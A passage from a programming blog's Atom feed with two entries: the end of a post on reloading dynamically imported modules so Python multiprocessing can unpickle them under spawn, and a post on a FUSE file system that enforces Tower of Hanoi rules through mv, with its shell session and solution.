&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; just cannot know that!&lt;/p&gt;
&lt;p&gt;That’s why you cannot use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; naively with dynamically imported code: the child process has no idea how to load it!&lt;/p&gt;
&lt;p&gt;This &lt;a href="https://github.com/byexamples/byexample/issues/220"&gt;issue&lt;/a&gt; hit &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; when a third-party plugin tried to run in a subprocess part of its code in MacOS.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlbGwsIGl0ICppcyogcG9zc2libGUgdG8gdHJpZ2dlciBpdCBpbiBMaW51eCwgeW91IGp1c3QgbmVlZCB0byBjaGFuZ2UKdGhlIHN0YXJ0IG1ldGhvZCBvZiBgbXVsdGlwcm9jZXNzaW5nYCBjYWxsaW5nIGBzZXRfc3RhcnRfbWV0aG9kKClgIG9yCmBnZXRfY29udGV4dCgpYC4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlbGwsIGl0ICppcyogcG9zc2libGUgdG8gdHJpZ2dlciBpdCBpbiBMaW51eCwgeW91IGp1c3QgbmVlZCB0byBjaGFuZ2UKdGhlIHN0YXJ0IG1ldGhvZCBvZiBgbXVsdGlwcm9jZXNzaW5nYCBjYWxsaW5nIGBzZXRfc3RhcnRfbWV0aG9kKClgIG9yCmBnZXRfY29udGV4dCgpYC4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Well, it &lt;em&gt;is&lt;/em&gt; possible to trigger it in Linux, you just need to change the start method of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;set_start_method&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;get_context&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;In Linux, with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; being the default, no &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is needed and the bug was never triggered.&lt;/p&gt;
&lt;h2 id="the-fix"&gt;The fix&lt;/h2&gt;
&lt;p&gt;What we need is to (re)load all the dynamically loaded modules in the child process &lt;strong&gt;before&lt;/strong&gt; the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; takes place.&lt;/p&gt;
&lt;p&gt;Instead of calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; on the child directly, we call a helper &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;trampoline&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that does the bootstrap, loads the modules, unpickles the real &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and calls it.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;load_modules&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# loading the plugins&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# pick the first, this is just an example&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;trampoline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialized_func&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# All of this happens in the *child* process&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# We reload the modules (and possible we do any bootstrapping&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# needed)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;loaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;load_modules&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# Now this pickle.loads() shouldn&amp;#39;t fail&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialized_func&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# We pickle the target ourselves so we can control *when*&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# it is unpickled later.&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exec_bg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;serialized_func&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;multiprocessing&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;trampoline&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialized_func&lt;/span&gt;&lt;span class="p"&gt;,))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="forkingpickler-a-detail"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ForkingPickler&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: a detail&lt;/h3&gt;
&lt;p&gt;To be more precise, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; uses a slightly improved &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implemented in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reduction&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ForkingPickler&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We should use it too to keep the same behavior.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;trampoline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialized_func&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# .....&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;fpickler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reduction&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ForkingPickler&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;fpickler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialized_func&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;fpickler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reduction&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ForkingPickler&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exec_bg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;serialized_func&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fpickler&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# ....&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/03/06/Multiprocessing-Spawn-of-Dynamically-Imported-Code.html" rel="alternate" type="text/html" title="Multiprocessing Spawn of Dynamically Imported Code"/>
    <category term="python" label="python"/>
    <published>2022-03-06T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/02/07/Hanoi-File-System.html</id>
    <title>Hanoi File System</title>
    <updated>2022-02-07T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Yeup, why not implement the classic &lt;a href="https://en.wikipedia.org/wiki/Tower_of_Hanoi"&gt;Tower of Hanoi&lt;/a&gt; using folders as the towers and files as the discs?&lt;/p&gt;
&lt;p&gt;Using &lt;a href="https://github.com/libfuse/libfuse"&gt;FUSE&lt;/a&gt; we can implement a &lt;em&gt;file system&lt;/em&gt; that can enforce the rules of the puzzle.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;each file would have a &lt;em&gt;size&lt;/em&gt; that represent the disc’s size&lt;/li&gt;
&lt;li&gt;one can move a file from one folder to another if the file is the smallest of the files of both folders&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sounds fun?&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="code-overview"&gt;Code overview&lt;/h2&gt;
&lt;p&gt;Three FUSE hooks are required for this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;getattr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to define which entries are files and which are folders&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;readdir&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to list which entries are in which folder.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rename&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to enforce the rules of Tower of Hanoi.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These plus some extra bits are implemented in &lt;a href="https://github.com/eldipa/hanoifs/blob/master/hanoifs.c"&gt;hanoifs.c&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Behind scenes, the logic of the game is handled by &lt;a href="https://github.com/eldipa/hanoifs/blob/master/hanoi.c"&gt;hanoi.c&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To keep the code simple, each tower (peg) is represented by a bit stack: a bit vector with a LIFO discipline, coded at &lt;a href="https://github.com/eldipa/hanoifs/blob/master/bitstack.c"&gt;bitstack.c&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="hanoi-fs"&gt;Hanoi FS&lt;/h2&gt;
&lt;p&gt;Once compiled, you can mount the puzzle running &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;hanoifs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;./hanoifs&lt;span class="w"&gt; &lt;/span&gt;mnt/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Within the mounted file system the folders represent the &lt;em&gt;towers&lt;/em&gt; of Hanoi&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;mnt/
total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;...&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;..
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;A
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;B
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Inside each folder there are the files that represent the &lt;em&gt;discs&lt;/em&gt; of the game.&lt;/p&gt;
&lt;p&gt;Initially all the files (discs) are in the first folder (tower).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;mnt/A
mnt/A:
total&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;..
-r--r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
-r--r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
-r--r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;root&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1970&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The traditional &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mv&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is used to move the discs. Under the hood any program that issue the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rename&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; syscall will be allowed.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/0&lt;span class="w"&gt; &lt;/span&gt;mnt/C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Not all the movements are possible however; the movements are restricted following the rules of the puzzle.&lt;/p&gt;
&lt;p&gt;You cannot move a disc that is not in the top of its tower (it is not the smallest file); you cannot move a disc to a tower on top of a disc smaller either.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/2&lt;span class="w"&gt; &lt;/span&gt;mnt/B
mv:&lt;span class="w"&gt; &lt;/span&gt;cannot&lt;span class="w"&gt; &lt;/span&gt;move&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mnt/A/2&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mnt/B/2&amp;#39;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Permission&lt;span class="w"&gt; &lt;/span&gt;denied

$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/1&lt;span class="w"&gt; &lt;/span&gt;mnt/C
mv:&lt;span class="w"&gt; &lt;/span&gt;cannot&lt;span class="w"&gt; &lt;/span&gt;move&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mnt/A/1&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;mnt/C/1&amp;#39;&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Permission&lt;span class="w"&gt; &lt;/span&gt;denied
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="puzzle-solution"&gt;Puzzle solution&lt;/h2&gt;
&lt;!--
$ mv mnt/C/0 mnt/A/0
--&gt;
&lt;p&gt;The goal of the Hanoi Towers is to move all the discs to the latest tower (the latest folder, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in our case).&lt;/p&gt;
&lt;p&gt;Here is the complete solution:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/0&lt;span class="w"&gt; &lt;/span&gt;mnt/C
$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/1&lt;span class="w"&gt; &lt;/span&gt;mnt/B
$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/C/0&lt;span class="w"&gt; &lt;/span&gt;mnt/B
$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/2&lt;span class="w"&gt; &lt;/span&gt;mnt/C
$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/B/0&lt;span class="w"&gt; &lt;/span&gt;mnt/A
$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/B/1&lt;span class="w"&gt; &lt;/span&gt;mnt/C
$&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;mnt/A/0&lt;span class="w"&gt; &lt;/span&gt;mnt/C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once completed, a special file will appear at the root:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;mnt/&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +norm-ws&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;A&lt;span class="w"&gt;   &lt;/span&gt;B&lt;span class="w"&gt;   &lt;/span&gt;C&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;you win&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

